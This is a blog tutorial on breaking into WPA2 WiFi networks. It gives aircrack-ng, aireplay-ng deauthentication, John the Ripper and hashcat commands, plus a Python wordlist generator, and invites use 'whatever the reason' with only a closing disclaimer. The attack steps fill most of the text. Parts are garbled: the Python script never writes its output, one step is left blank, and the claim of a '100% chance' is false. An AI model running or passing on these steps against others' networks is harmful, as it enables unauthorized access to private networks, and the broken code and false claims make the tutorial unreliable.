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Hacking WPA2 WiFi Networks

By Kalyani Rajalingham, published 09/11/2020 in Tutorials

Whatever the reason for wanting to hack a wifi network, it is nonetheless doable. In fact, it’s become child’s play these days.

First, let’s install aircrack-ng

sudo apt-get install aircrack-ng

Next, we need to put our wireless card into monitor mode. Monitor mode permits you to listen to other wireless networks.

Airmon-ng start wlan0 

We now are ready to sniff the other available access points. Airodump-ng will display all information relevant to each available access point.

Airodump-ng --bssid <bssid> -c <channel> -w <file name> wlan0mon

We then need to deauthenticate and reauthenticate the client.

Aireplay-ng -0 0 -a <bssid>

Now, we wait till we get a WPA/WPA2 handshake. You will get a notification on the right top corner that there’s a WPA2 handshake. When done, you should also have a file with a .cap extension. Our next task is to crack the cap file. For this, there are many many ways.

Method #1: Aircrack-ng

If the password is weak, or that you have a good dictionary, you can try this attack. However, it is very very unlikely that it will work. This is so because most naturally given passwords are a combination of alphanumeric characters.

Aircrack-ng -w <dictionary file> file.cap

Method #2: Python

Most naturally occurring WPA2 passwords are 8 characters long and a combination of alphanumeric characters (most likely ABCDEF1234567890). It is quite likely that if you expand the character set to the full alphabet, there is a 100% chance of finding the right password in the list.

Let’s call this script

import itertools

combo = itertools.permutations(“ABCDEF1234567890”, 8)

file = open(“passwords.txt”, “w+”)

for var in combo:
joined = “”.join(var)

However, you can also use:

combo = itertools.permutations(“ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”, 8)

Activate the script:


Then, run aircrack-ng:

Aircrack-ng -w passwords.txt file.cap

Method #3: John the Ripper

With John the ripper, assuming you have it installed, we need to turn the cap file into an hccap file using or using aircrack-ng:

aircrack-ng -J file file.cap 

And then type:

hccap2john file.hccap > file.txt

And finally type:

john file.txt

Method #4: Hashcat

This is by far the best method; it is also the fastest!

Locate hashcat-utils and cd into the directory:

./cap2hccapx.bin file.cap outputfile

The previous line should generate a hccapx file (file.hccapx). We then have to crack it. In this case, we’ll use the dictionary or password file created using python. However, you can use whatever you see fit. Hashcat offers a variety of cracking methods. You just need to pick one that will work.

./hashcat64.bin -m 2500 -a 0 file.hccapx passwords.txt

Alternatively, you can choose to do the following as well:

./hashcat64.bin -m 2500 - a 3 file.hccapx ?H?H?H?H?H?H?H?H

Happy Hacking!

[Editor's Note/Disclaimer: Information in the above article was for education and ethical hacking practices]

About the author

Kalyani Rajalingham (from Sri Lanka, lives in Canada), and is a Linux and code lover.

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